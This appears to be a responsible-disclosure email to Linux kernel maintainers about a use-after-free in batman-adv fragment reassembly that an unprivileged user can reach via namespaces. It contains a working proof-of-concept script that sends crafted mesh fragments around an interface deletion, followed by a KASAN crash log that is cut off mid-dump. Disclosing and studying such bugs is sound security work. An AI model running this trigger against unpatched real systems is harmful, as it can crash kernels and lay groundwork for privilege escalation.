Hi Linux kernel maintainers,
We found and validated an issue in net/batman-adv/fragmentation.c. The bug is
reachable by a non-root user via user and net namespace.
We've tested the fix, and it should not affect normal functionality.
We will provide detailed information about the bug in this email, along with a
PoC to trigger it.
---- details below ----
Bug details:
batadv_frag_insert_packet() buffers fragment skbs and later reuses the
highest-numbered buffered skb as the merged packet. If that skb arrived on hard
interface A and A is deleted before the remaining fragments arrive on
interface B, the merged skb re-enters batadv_batman_skb_recv() with the stale
skb->dev and skb_iif from A.
DAT and bridge loop avoidance derive ARP parsing state from skb->dev, so the
reconstructed packet can reach batadv_arp_get_type() and dereference the freed
net_device before it is delivered to the local mesh interface.
Reproducer:
chmod +x ./poc.sh
unshare -Urn env -i PATH=/usr/sbin:/usr/bin:/sbin:/bin ./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
: "${WAIT_AFTER_SETUP:=1.5}"
: "${WAIT_AFTER_OGM:=0.5}"
: "${WAIT_AFTER_HIGH:=0.5}"
: "${WAIT_AFTER_DELETE:=6.0}"
: "${WAIT_AFTER_MID:=6.0}"
: "${WAIT_AFTER_LOW:=1.0}"
: "${PHY_DEST_MODE:=tb}"
: "${DELETE_IFACE:=ta}"
: "${SEQNO:=0x1234}"
export WAIT_AFTER_SETUP
export WAIT_AFTER_OGM
export WAIT_AFTER_HIGH
export WAIT_AFTER_DELETE
export WAIT_AFTER_MID
export WAIT_AFTER_LOW
export PHY_DEST_MODE
export DELETE_IFACE
export SEQNO
python3 - "$@" <<'PY'
import os
import re
import socket
import struct
import subprocess
import time
BATADV_IV_OGM = 0x00
BATADV_UNICAST = 0x40
BATADV_UNICAST_FRAG = 0x41
BATADV_COMPAT_VERSION = 15
ETH_P_BATMAN = 0x4305
ETH_P_ARP = 0x0806
ARPOP_REQUEST = 1
def env_float(name: str) -> float:
return float(os.environ[name])
def env_int(name: str) -> int:
return int(os.environ[name], 0)
WAIT_AFTER_SETUP = env_float("WAIT_AFTER_SETUP")
WAIT_AFTER_OGM = env_float("WAIT_AFTER_OGM")
WAIT_AFTER_HIGH = env_float("WAIT_AFTER_HIGH")
WAIT_AFTER_DELETE = env_float("WAIT_AFTER_DELETE")
WAIT_AFTER_MID = env_float("WAIT_AFTER_MID")
WAIT_AFTER_LOW = env_float("WAIT_AFTER_LOW")
PHY_DEST_MODE = os.environ["PHY_DEST_MODE"]
DELETE_IFACE = os.environ["DELETE_IFACE"]
SEQNO = env_int("SEQNO")
def run(cmd: str) -> None:
subprocess.run(cmd, shell=True, check=True)
def output(cmd: str) -> str:
return subprocess.check_output(cmd, shell=True, text=True).strip()
def mac_bytes(text: str) -> bytes:
return bytes(int(part, 16) for part in text.split(":"))
def ip_bytes(text: str) -> bytes:
return socket.inet_aton(text)
def iface_mac(name: str) -> bytes:
text = output(f"ip -o link show dev {name}")
match = re.search(r"link/ether ([0-9a-f:]{17})", text)
if not match:
raise SystemExit(f"failed to parse MAC for {name}: {text}")
return mac_bytes(match.group(1))
def send_frame(iface: str, dst: bytes, src: bytes, payload: bytes) -> None:
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
try:
sock.bind((iface, 0))
frame = dst + src + struct.pack("!H", ETH_P_BATMAN) + payload
sock.send(frame)
finally:
sock.close()
def ogm_packet(orig: bytes, seqno: int = 1) -> bytes:
return struct.pack(
"!BBBBI6s6sBBH",
BATADV_IV_OGM,
BATADV_COMPAT_VERSION,
50,
0,
seqno,
orig,
orig,
0,
0xFF,
0,
)
def frag_packet(no: int, dest: bytes, orig: bytes, seqno: int,
total_size: int, payload: bytes) -> bytes:
flags = (no & 0xF) << 4
return struct.pack(
"!BBBB6s6sHH",
BATADV_UNICAST_FRAG,
BATADV_COMPAT_VERSION,
50,
flags,
dest,
orig,
seqno,
total_size,
) + payload
def merged_unicast_arp(dest_mac: bytes) -> bytes:
inner_src = mac_bytes("02:11:22:33:44:55")
inner_eth = b"\xff" * 6 + inner_src + struct.pack("!H", ETH_P_ARP)
arp = struct.pack(
"!HHBBH6s4s6s4s",
1,
0x0800,
6,
4,
ARPOP_REQUEST,
inner_src,
ip_bytes("192.0.2.1"),
b"\x00" * 6,
ip_bytes("192.0.2.2"),
)
uni = struct.pack(
"!BBBB6s",
BATADV_UNICAST,
BATADV_COMPAT_VERSION,
50,
0,
dest_mac,
)
return uni + inner_eth + arp
def cleanup() -> None:
for dev in ("bat0", "ta", "tb"):
run(f"ip link del {dev} 2>/dev/null || true")
cleanup()
run("ip link add ta type veth peer name aa")
run("ip link add tb type veth peer name bb")
run("ip link add bat0 type batadv")
run("ip link set ta master bat0")
run("ip link set tb master bat0")
for dev in ("bat0", "ta", "tb", "aa", "bb"):
run(f"ip link set {dev} up")
time.sleep(WAIT_AFTER_SETUP)
mac_ta = iface_mac("ta")
mac_tb = iface_mac("tb")
fake_orig = mac_bytes("02:aa:bb:cc:dd:01")
if PHY_DEST_MODE == "ta":
phy_dest = mac_ta
elif PHY_DEST_MODE == "tb":
phy_dest = mac_tb
else:
raise SystemExit(f"unsupported PHY_DEST_MODE={PHY_DEST_MODE}")
send_frame("aa", b"\xff" * 6, fake_orig, ogm_packet(fake_orig))
time.sleep(WAIT_AFTER_OGM)
merged = merged_unicast_arp(mac_tb)
parts = (merged[:20], merged[20:36], merged[36:])
send_frame("aa", phy_dest, fake_orig,
frag_packet(2, mac_tb, fake_orig, SEQNO, len(merged), parts[0]))
time.sleep(WAIT_AFTER_HIGH)
run(f"ip link del {DELETE_IFACE}")
time.sleep(WAIT_AFTER_DELETE)
send_frame("bb", mac_tb, fake_orig,
frag_packet(1, mac_tb, fake_orig, SEQNO, len(merged), parts[1]))
time.sleep(WAIT_AFTER_MID)
send_frame("bb", mac_tb, fake_orig,
frag_packet(0, mac_tb, fake_orig, SEQNO, len(merged), parts[2]))
time.sleep(WAIT_AFTER_LOW)
PY
------END poc.sh--------
----BEGIN crash log----
[ 234.446245] [ C0] BUG: KASAN: slab-use-after-free in
batadv_arp_get_type.isra.0 (build/../net/batman-adv/distributed-arp-table.c:261
build/../net/batman-adv/distributed-arp-table.c:1043)
[ 234.446350] [ C0] Read of size 2 at addr ffff88807cd19230 by task
python3/10420
[ 234.446408] [ C0] CPU: 0 UID: 0 PID: 10420 Comm: python3 Not tainted
6.12.95 #2
[ 234.446431] [ C0] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX +
PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 234.446441] [ C0] Call Trace:
[ 234.446455] [ C0] <IRQ>
[ 234.446469] [ C0] dump_stack_lvl (build/../lib/dump_stack.c:118
(discriminator 2))
[ 234.446517] [ C0] print_report (build/../include/linux/mm.h:1903
build/../mm/kasan/report.c:289 build/../mm/kasan/report.c:376
build/../mm/kasan/report.c:482)
[ 234.446574] [ C0] ? batadv_arp_get_type.isra.0
(build/../net/batman-adv/distributed-arp-table.c:261
build/../net/batman-adv/distributed-arp-table.c:1043)
[ 234.446583] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.446608] [ C0] ? __virt_addr_valid
(build/../include/linux/instrumented.h:82
build/../include/asm-generic/bitops/instrumented-non-atomic.h:141
build/../include/linux/mmzone.h:2214 build/../include/linux/mmzone.h:2290
build/../arch/x86/mm/physaddr.c:54)
[ 234.446649] [ C0] ? batadv_arp_get_type.isra.0
(build/../net/batman-adv/distributed-arp-table.c:261
build/../net/batman-adv/distributed-arp-table.c:1043)
[ 234.446658] [ C0] kasan_report (build/../mm/kasan/report.c:593)
[ 234.446673] [ C0] ? batadv_arp_get_type.isra.0
(build/../net/batman-adv/distributed-arp-table.c:261
build/../net/batman-adv/distributed-arp-table.c:1043)
[ 234.446694] [ C0] batadv_arp_get_type.isra.0
(build/../net/batman-adv/distributed-arp-table.c:261
build/../net/batman-adv/distributed-arp-table.c:1043)
[ 234.446704] [ C0] ? __pfx_batadv_orig_hash_find
(build/../net/batman-adv/originator.c:537 (discriminator 2))
[ 234.446729] [ C0] batadv_dat_snoop_incoming_arp_request
(build/../net/batman-adv/distributed-arp-table.c:1074
build/../net/batman-adv/distributed-arp-table.c:1236)
[ 234.446737] [ C0] ? batadv_bla_is_backbone_gw
(build/../net/batman-adv/bridge_loop_avoidance.c:1787)
[ 234.446752] [ C0] batadv_recv_unicast_packet
(build/../include/linux/skbuff.h:2996 build/../include/linux/skbuff.h:3149
build/../include/linux/if_ether.h:27 build/../net/batman-adv/routing.c:971)
[ 234.446771] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.446786] [ C0] batadv_batman_skb_recv
(build/../arch/x86/include/asm/atomic.h:23
build/../include/linux/atomic/atomic-arch-fallback.h:457
build/../include/linux/atomic/atomic-instrumented.h:33
build/../net/batman-adv/main.c:443)
[ 234.446798] [ C0] ? __pfx_batadv_batman_skb_recv
(build/../include/linux/skbuff.h:2533)
[ 234.446812] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.446818] [ C0] ? batadv_is_my_mac
(build/../include/linux/etherdevice.h:357
build/../include/linux/etherdevice.h:409 build/../net/batman-adv/main.h:263
build/../net/batman-adv/main.c:301)
[ 234.446835] [ C0] batadv_recv_frag_packet
(build/../net/batman-adv/routing.c:1098)
[ 234.446848] [ C0] ? __pfx_batadv_recv_frag_packet
(build/../include/linux/skbuff.h:1724)
[ 234.446886] [ C0] ? __pfx_mark_lock
(build/../kernel/locking/lockdep.c:4021)
[ 234.446922] [ C0] ? __pfx___lock_acquire
(build/../kernel/locking/lockdep.c:4397 (discriminator 11))
[ 234.446937] [ C0] batadv_batman_skb_recv
(build/../arch/x86/include/asm/atomic.h:23
build/../include/linux/atomic/atomic-arch-fallback.h:457
build/../include/linux/atomic/atomic-instrumented.h:33
build/../net/batman-adv/main.c:443)
[ 234.446949] [ C0] ? __pfx_batadv_batman_skb_recv
(build/../include/linux/skbuff.h:2533)
[ 234.446960] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.446967] [ C0] ? lock_acquire.part.0+0x119/0x370
[ 234.446978] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.446989] [ C0] ? __pfx_batadv_batman_skb_recv
(build/../include/linux/skbuff.h:2533)
[ 234.446998] [ C0] ? process_backlog
(build/../include/linux/rcupdate.h:839 (discriminator 1)
build/../net/core/dev.c:6665 (discriminator 1))
[ 234.447045] [ C0] __netif_receive_skb_one_core
(build/../net/core/dev.c:6205)
[ 234.447056] [ C0] ? __pfx___netif_receive_skb_one_core
(build/../net/core/dev.c:6244)
[ 234.447070] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.447077] [ C0] ? lock_acquire
(build/../kernel/locking/lockdep.c:5828)
[ 234.447084] [ C0] ? process_backlog
(build/../include/linux/rcupdate.h:839 (discriminator 1)
build/../net/core/dev.c:6665 (discriminator 1))
[ 234.447100] [ C0] process_backlog
(build/../include/linux/rcupdate.h:871 build/../net/core/dev.c:6667)
[ 234.447122] [ C0] __napi_poll.constprop.0
(build/../net/core/dev.c:7730)
[ 234.447137] [ C0] net_rx_action (build/../net/core/dev.c:6621
build/../net/core/dev.c:7974)
[ 234.447162] [ C0] ? __pfx_net_rx_action (build/../net/core/dev.c:13182
(discriminator 2))
[ 234.447258] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.447268] [ C0] ? clockevents_program_event
(build/../kernel/time/clockevents.c:353 (discriminator 2))
[ 234.447294] [ C0] ? __pfx_lock_release
(build/../kernel/locking/lockdep.c:238 (discriminator 9))
[ 234.447347] [ C0] handle_softirqs
(build/../include/linux/kernel_stat.h:62 (discriminator 1)
build/../kernel/softirq.c:619 (discriminator 1))
[ 234.447386] [ C0] ? __pfx_handle_softirqs
(build/../kernel/softirq.c:405)
[ 234.447398] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.447405] [ C0] ? irqtime_account_irq
(build/../kernel/sched/cputime.c:59 (discriminator 2))
[ 234.447432] [ C0] ? __dev_queue_xmit
(build/../include/linux/filter.h:796 build/../net/core/dev.c:4534
build/../net/core/dev.c:4807)
[ 234.447444] [ C0] do_softirq (build/../kernel/softirq.c:523
(discriminator 20) build/../kernel/softirq.c:510 (discriminator 20))
[ 234.447454] [ C0] </IRQ>
[ 234.447458] [ C0] <TASK>
[ 234.447463] [ C0] __local_bh_enable_ip (build/../kernel/softirq.c:457
(discriminator 1))
[ 234.447473] [ C0] ? __dev_queue_xmit
(build/../include/linux/filter.h:796 build/../net/core/dev.c:4534
build/../net/core/dev.c:4807)
[ 234.447481] [ C0] __dev_queue_xmit
(build/../include/linux/filter.h:796 build/../net/core/dev.c:4534
build/../net/core/dev.c:4807)
[ 234.447495] [ C0] ? __might_fault (build/../mm/memory.c:7324
(discriminator 1))
[ 234.447523] [ C0] ? __pfx_lock_release
(build/../kernel/locking/lockdep.c:238 (discriminator 9))
[ 234.447542] [ C0] ? __pfx___dev_queue_xmit
(build/../include/linux/netdevice.h:4010 (discriminator 1))
[ 234.447556] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.447563] [ C0] ? _copy_from_iter
(build/../include/linux/iov_iter.h:27 build/../include/linux/iov_iter.h:302
build/../include/linux/iov_iter.h:330 build/../lib/iov_iter.c:261
build/../lib/iov_iter.c:272)
[ 234.447611] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.447629] [ C0] ? packet_parse_headers
(build/../include/linux/skbuff.h:2533 build/../include/linux/skbuff.h:2866
build/../include/linux/skbuff.h:2881 build/../include/linux/if_vlan.h:672
build/../net/packet/af_packet.c:1936)
[ 234.447663] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.447669] [ C0] ? packet_parse_headers
(build/../include/linux/skbuff.h:2533 build/../include/linux/skbuff.h:2866
build/../include/linux/skbuff.h:2881 build/../include/linux/if_vlan.h:672
build/../net/packet/af_packet.c:1936)
[ 234.447684] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.447691] [ C0] ? __check_object_size
(build/../include/linux/mm.h:2973 build/../mm/usercopy.c:200
build/../mm/usercopy.c:258 build/../mm/usercopy.c:223)
[ 234.447714] [ C0] ? __pfx_sock_alloc_send_pskb
(build/../net/core/sock.c:2830 (discriminator 2))
[ 234.447750] [ C0] ? __pfx_packet_parse_headers
(build/../include/net/dst.h:285)
[ 234.447761] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.447769] [ C0] ? skb_copy_datagram_from_iter
(build/../net/core/datagram.c:561)
[ 234.447791] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.447808] [ C0] packet_sendmsg (build/../net/packet/af_packet.c:3045
(discriminator 1) build/../net/packet/af_packet.c:3114 (discriminator 1))
[ 234.447834] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.447843] [ C0] ? ref_tracker_alloc
(build/../include/linux/list.h:161 build/../include/linux/list.h:177
build/../lib/ref_tracker.c:280)
[ 234.447881] [ C0] ? __pfx___might_resched
(build/../kernel/sched/core.c:5888 (discriminator 7))
[ 234.447901] [ C0] ? __pfx___lock_acquire
(build/../kernel/locking/lockdep.c:4397 (discriminator 11))
[ 234.447916] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.447923] [ C0] ? aa_sk_perm+0x1d8/0x8d0
[ 234.447964] [ C0] ? __pfx_packet_sendmsg
(build/../arch/x86/include/asm/atomic.h:23)
[ 234.447987] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.447994] [ C0] ? apparmor_socket_sendmsg+0x2e/0x200
[ 234.448021] [ C0] __sys_sendto (build/../net/socket.c:787
(discriminator 2) build/../net/socket.c:802 (discriminator 2)
build/../net/socket.c:2265 (discriminator 2))
[ 234.448038] [ C0] ? __pfx___sys_sendto (build/../net/socket.c:2219)
[ 234.448045] [ C0] ? __local_bh_enable_ip
(build/../kernel/softirq.c:457 (discriminator 1))
[ 234.448054] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.448060] [ C0] ? lockdep_hardirqs_on
(build/../kernel/locking/lockdep.c:4472)
[ 234.448102] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.448108] [ C0] ? __sys_bind (build/../net/socket.c:1933
(discriminator 2) build/../net/socket.c:1925 (discriminator 2)
build/../net/socket.c:1964 (discriminator 2))
[ 234.448150] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.448167] [ C0] __x64_sys_sendto (build/../net/socket.c:2272
build/../net/socket.c:2268 build/../net/socket.c:2268)
[ 234.448177] [ C0] ? do_syscall_64
(build/../include/linux/entry-common.h:144 (discriminator 1)
build/../include/linux/entry-common.h:178 (discriminator 1)
build/../arch/x86/entry/syscall_64.c:89 (discriminator 1))
[ 234.448192] [ C0] ? srso_alias_return_thunk
(build/../arch/x86/lib/retpoline.S:220)
[ 234.448199] [ C0] ? lockdep_hardirqs_on
(build/../kernel/locking/lockdep.c:4472)
[ 234.448209] [ C0] do_syscall_64
(build/../include/linux/entry-common.h:109 (discriminator 2)
build/../include/linux/entry-common.h:147 (discriminator 2)
build/../include/linux/entry-common.h:178 (discriminator 2)
build/../arch/x86/entry/syscall_64.c:89 (discriminator 2))
[ 234.448225] [ C0] entry_SYSCALL_64_after_hwframe
(build/../arch/x86/entry/entry_64.S:121)
[ 234.448241] [ C0] RIP: 0033:0x7ff350f43687
[ 234.448267] [ C0] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00
00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05
<5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
All code
========
0: 48 89 fa mov %rdi,%rdx
3: 4c 89 df mov %r11,%rdi
6: e8 58 b3 00 00 call 0xb363
b: 8b 93 08 03 00 00 mov 0x308(%rbx),%edx
11: 59 pop %rcx
12: 5e pop %rsi
13: 48 83 f8 fc cmp $0xfffffffffffffffc,%rax
17: 74 1a je 0x33
19: 5b pop %rbx
1a: c3 ret
1b: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
22: 00
23: 48 8b 44 24 10 mov 0x10(%rsp),%rax
28: 0f 05 syscall
2a:* 5b pop %rbx <-- trapping instruction
2b: c3 ret
2c: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
33: 83 e2 39 and $0x39,%edx
36: 83 fa 08 cmp $0x8,%edx
39: 75 de jne 0x19
3b: e8 23 ff ff ff call 0xffffffffffffff63
Code starting with the faulting instruction
===========================================
0: 5b pop %rbx
1: c3 ret
2: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
9: 83 e2 39 and $0x39,%edx
c: 83 fa 08 cmp $0x8,%edx
f: 75 de jne 0xffffffffffffffef
11: e8 23 ff ff ff call 0xffffffffffffff39
[ 234.448279] [ C0] RSP: 002b:00007ffedeb93690 EFLAGS: 00000202 ORIG_RAX:
000000000000002c
[ 234.448306] [ C0] RAX: ffffffffffffffda RBX: 00007ff350eaf780 RCX:
00007ff350f43687
[ 234.448312] [ C0] RDX: 0000000000000032 RSI: 00007ff3508499d0 RDI:
0000000000000003
[ 234.448317] [ C0] RBP: 0000000000000000 R08: 0000000000000000 R09:
0000000000000000
[ 234.448321] [ C0] R10: 0000000000000000 R11: 0000000000000202 R12:
0000000000000000
[ 234.448325] [ C0] R13: 0000000000000000 R14: 00000000006ff020 R15:
0000000000a83590
[ 234.448353] [ C0] </TASK>
[ 234.448571] [ C0] Allocated by task 10434:
[ 234.448590] [ C0] kasan_save_stack (build/../mm/kasan/common.c:57)
[ 234.448610] [ C0] kasan_save_track (build/../mm/kasan/common.c:78)
[ 234.448623] [ C0] __kasan_kmalloc (build/../mm/kasan/common.c:398
build/../mm/kasan/common.c:415)
[ 234.448635] [ C0] __kmalloc_node_noprof (build/../mm/slub.c:4756
(discriminator 1) build/../mm/slub.c:4883 (discriminator 1)
build/../mm/slub.c:5294 (discriminator 1) build/../mm/slub.c:5301
(discriminator 1))
[ 234.448658] [ C0] alloc_netdev_mqs (build/../net/core/dev.c:12019)
[ 234.448677] [ C0] rtnl_create_link (build/../net/core/rtnetlink.c:3652)
[ 234.448694] [ C0] __rtnl_newlink+0xd20/0x14f0
[ 234.448708] [ C0] rtnl_newlink (build/../net/core/rtnetlink.c:4000)
[ 234.448721] [ C0] rtnetlink_rcv_msg
(build/../net/core/rtnetlink.c:6984)
[ 234.448733] [ C0] netlink_rcv_skb
(build/../net/netlink/af_netlink.c:2547)
[ 234.448766] [ C0] netlink_unicast
(build/../include/linux/instrumented.h:112
build/../include/linux/atomic/atomic-instrumented.h:104
build/../net/netlink/af_netlink.c:1314 build/../net/netlink/af_netlink.c:1344)
[ 234.448778] [ C0] netlink_sendmsg
(build/../net/netlink/af_netlink.c:1875)
[ 234.448790] [ C0] ____sys_sendmsg (build/../net/socket.c:790
(discriminator 1) build/../net/socket.c:2695 (discriminator 1))
[ 234.448802] [ C0] ___sys_sendmsg (build/../net/socket.c:2749)
[ 234.448815] [ C0] __sys_sendmsg (build/../net/socket.c:593
build/../net/socket.c:2780)
[ 234.448828] [ C0] do_syscall_64
(build/../include/linux/entry-common.h:109 (discriminator 2)
build/../include/linux/entry-common.h:147 (discriminator 2)
build/../include/linux/entry-common.h:178 (discriminator 2)
build/../arch/x86/entry/syscall_64.c:89 (discriminator 2))
[ 234.448842] [ C0] entry_SYSCALL_64_after_hwframe
(build/../arch/x86/entry/entry_64.S:121)
[ 234.448879] [ C0] Freed by task 10659:
[ 234.448890] [ C0] kasan_save_stack (build/../mm/kasan/common.c:57)
[ 234.448903] [ C0] kasan_save_track (build/../mm/kasan/common.c:78)
[ 234.448915] [ C0] kasan_save_free_info
(build/../mm/kasan/generic.c:584)
[ 234.448934] [ C0] __kasan_slab_free (build/../mm/kasan/common.c:249
build/../mm/kasan/common.c:285)
[ 234.448947] [ C0] kfree (build/../mm/slub.c:5807 (discriminator 3)
build/../mm/slub.c:6253 (discriminator 3) build/../mm/slub.c:6565
(discriminator 3))
[ 234.448959] [ C0] device_release
(build/../drivers/gpu/drm/vkms/vkms_configfs.c:749)
[ 234.449008] [ C0] kobject_put (build/../lib/kobject.c:677
build/../lib/kobject.c:720 build/../include/linux/kref.h:65
build/../lib/kobject.c:737)
[ 234.449027] [ C0] netdev_run_todo (build/../net/core/dev.c:11716
(discriminator 2))
[ 234.449045] [ C0] rtnetlink_rcv_msg
(build/../net/core/rtnetlink.c:6984)
[ 234.449069] [ C0] netlink_rcv_skb
(build/../net/netlink/af_netlink.c:2547)
[ 234.449081] [ C0] netlink_unicast
(build/../include/linux/instrumented.h:112
build/../include/linux/atomic/atomic-instrumented.h:104
build/../net/netlink/af_netlink.c:1314 build/../net/netlink/af_netlink.c:1344)
[ 234.449093] [ C0] netlink_sendmsg
(build/../net/netlink/af_netlink.c:1875)
[ 234.449105] [ C0] ____sys_sendmsg (build/../net/socket.c:790
(discriminator 1) build/../net/socket.c:2695 (discriminator 1))
[ 234.449117] [ C0] ___sys_sendmsg (build/../net/socket.c:2749)
[ 234.449130] [ C0] __sys_sendmsg (build/../net/socket.c:593
build/../net/socket.c:2780)
[ 234.449143] [ C0] do_syscall_64
(build/../include/linux/entry-common.h:109 (discriminator 2)
build/../include/linux/entry-common.h:147 (discriminator 2)
build/../include/linux/entry-common.h:178 (discriminator 2)
build/../arch/x86/entry/syscall_64.c:89 (discriminator 2))
[ 234.449156] [ C0] entry_SYSCALL_64_after_hwframe
(build/../arch/x86/entry/entry_64.S:121)
[ 234.449178] [ C0] The buggy address belongs to the object at
ffff88807cd19000
which belongs to the cache kmalloc-cg-4k of size 4096
[ 234.449196] [ C0] The buggy address is located 560 bytes inside of
freed 4096-byte region [ffff88807cd19000, ffff88807cd1a000)
[ 234.449217] [ C0] The buggy address belongs to the physical page:
[ 234.449234] [ C0] page: refcount:1 mapcount:0 mapping:0000000000000000
index:0xffff88807cd1c000 pfn:0x7cd18
[ 234.449265] [ C0] head: order:3 mapcount:0 entire_mapcount:0
nr_pages_mapped:0 pincount:0
[ 234.449276] [ C0] memcg:ffff88801b8a9b51
[ 234.449286] [ C0] flags:
0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
[ 234.449312] [ C0] page_type: f5(slab)
[ 234.449335] [ C0] raw: 00fff00000000240 ffff888100050f40
ffffea000452aa10 ffffea0004464c10
[ 234.449347] [ C0] raw: ffff88807cd1c000 0000000000020001
00000001f5000000 ffff88801b8a9b51
[ 234.449359] [ C0] head: 00fff00000000240 ffff888100050f40
ffffea000452aa10 ffffea0004464c10
[ 234.449370] [ C0] head: ffff88807cd1c000 0000000000020001
00000001f5000000 ffff88801b8a9b51
[ 234.449381] [ C0] head: 00fff00000000003 ffffea0001f34601
ffffffffffffffff 0000000000000000
[ 234.449392] [ C0] head: 0000000700000008 0000000000000000
00000000ffffffff 0000000000000000
[ 234.449401] [ C0] page dumped because: kasan: bad access detected
[ 234.449416] [ C0] page_owner tracks the page as allocated
[ 234.450282] [ C0] page last allocated via order 3, migratetype
Unmovable, gfp_mask
0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC),
pid 10382, tgid 10382 (systemd), ts 209620171625, free_ts 207177527654
[ 234.452951] [ C0] post_alloc_hook (build/../mm/page_alloc.c:6932)
[ 234.452990] [ C0] get_page_from_freelist
(build/../mm/page_alloc.c:3815 (discriminator 1))
[ 234.453004] [ C0] __alloc_pages_noprof (build/../mm/internal.h:876
(discriminator 1) build/../mm/page_alloc.c:5272 (discriminator 1))
[ 234.453017] [ C0] alloc_pages_mpol_noprof+0x1ab/0x4d0
[ 234.453041] [ C0] new_slab (build/../mm/slub.c:882
build/../mm/slub.c:2291 build/../mm/slub.c:3497 build/../mm/slub.c:3525)
[ 234.453053] [ C0] ___slab_alloc (build/../include/linux/kasan.h:263
build/../mm/slub.c:5419)
[ 234.453065] [ C0] __slab_alloc.isra.0+0x5b/0xb0
[ 234.453077] [ C0] __kmalloc_node_noprof (build/../mm/slub.c:2458
(discriminator 1) build/../mm/slub.c:4580 (discriminator 1)
build/../mm/slub.c:4898 (discriminator 1) build/../mm/slub.c:5294
(discriminator 1) build/../mm/slub.c:5301 (discriminator 1))
[ 234.453090] [ C0] seq_read_iter (build/../fs/seq_file.c:252)
[ 234.453117] [ C0] vfs_read (build/../include/linux/ioprio.h:41
build/../include/linux/ioprio.h:71 build/../include/linux/ioprio.h:84
build/../include/linux/fs.h:2195 build/../fs/read_write.c:489
build/../fs/read_write.c:574)
[ 234.453139] [ C0] ksys_read (build/../fs/read_write.c:714)
[ 234.453150] [ C0] do_syscall_64
(build/../include/linux/entry-common.h:109 (discriminator 2)
build/../include/linux/entry-common.h:147 (discriminator 2)
build/../include/linux/entry-common.h:178 (discriminator 2)
build/../arch/x86/entry/syscall_64.c:89 (discriminator 2))
[ 234.453165] [ C0] entry_SYSCALL_64_after_hwframe
(build/../arch/x86/entry/entry_64.S:121)
[ 234.453178] [ C0] page last free pid 10382 tgid 10382 stack trace:
[ 234.454069] [ C0] free_unref_page+0x6a3/0x1050
[ 234.454083] [ C0] qlist_free_all (build/../mm/kasan/quarantine.c:176)
[ 234.454097] [ C0] kasan_quarantine_reduce
(build/../mm/kasan/quarantine.c:286)
[ 234.454109] [ C0] __kasan_krealloc (build/../mm/kasan/common.c:441)
[ 234.454122] [ C0] krealloc_noprof+0x104/0x140
[ 234.454146] [ C0] copy_array.constprop.0
(build/../kernel/bpf/verifier.c:1273 (discriminator 3))
[ 234.454195] [ C0] copy_verifier_state+0x97c/0xea0
[ 234.454209] [ C0] pop_stack (build/../kernel/bpf/verifier.c:1681)
[ 234.454222] [ C0] do_check_common
(build/../kernel/bpf/verifier.c:13620 build/../kernel/bpf/verifier.c:17654
build/../kernel/bpf/verifier.c:17789 build/../kernel/bpf/verifier.c:18804)
[ 234.454241] [ C0] bpf_check (build/../kernel/bpf/verifier.c:3134
(discriminator 1) build/../kernel/bpf/verifier.c:19996 (discriminator 1))
[ 234.454254] [ C0] bpf_prog_load (build/../kernel/bpf/syscall.c:3001)
[ 234.454266] [ C0] __sys_bpf (build/../include/linux/rcupdate.h:839
(discriminator 1) build/../kernel/bpf/syscall.c:5591 (discriminator 1)
build/../kernel/bpf/syscall.c:6299 (discriminator 1))
[ 234.454278] [ C0] __x64_sys_bpf (build/../kernel/bpf/syscall.c:6361
(discriminator 1) build/../kernel/bpf/syscall.c:6359 (discriminator 1)
build/../kernel/bpf/syscall.c:6359 (discriminator 1))
[ 234.454290] [ C0] do_syscall_64
(build/../include/linux/entry-common.h:109 (discriminator 2)
build/../include/linux/entry-common.h:147 (discriminator 2)
build/../include/linux/entry-common.h:178 (discriminator 2)
build/../arch/x86/entry/syscall_64.c:89 (discriminator 2))
[ 234.454304] [ C0] entry_SYSCALL_64_after_hwframe
(build/../arch/x86/entry/entry_64.S:121)
[ 234.454326] [ C0] Memory state around the buggy address:
[ 234.454337] [ C0] ffff88807cd19100: fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb fb
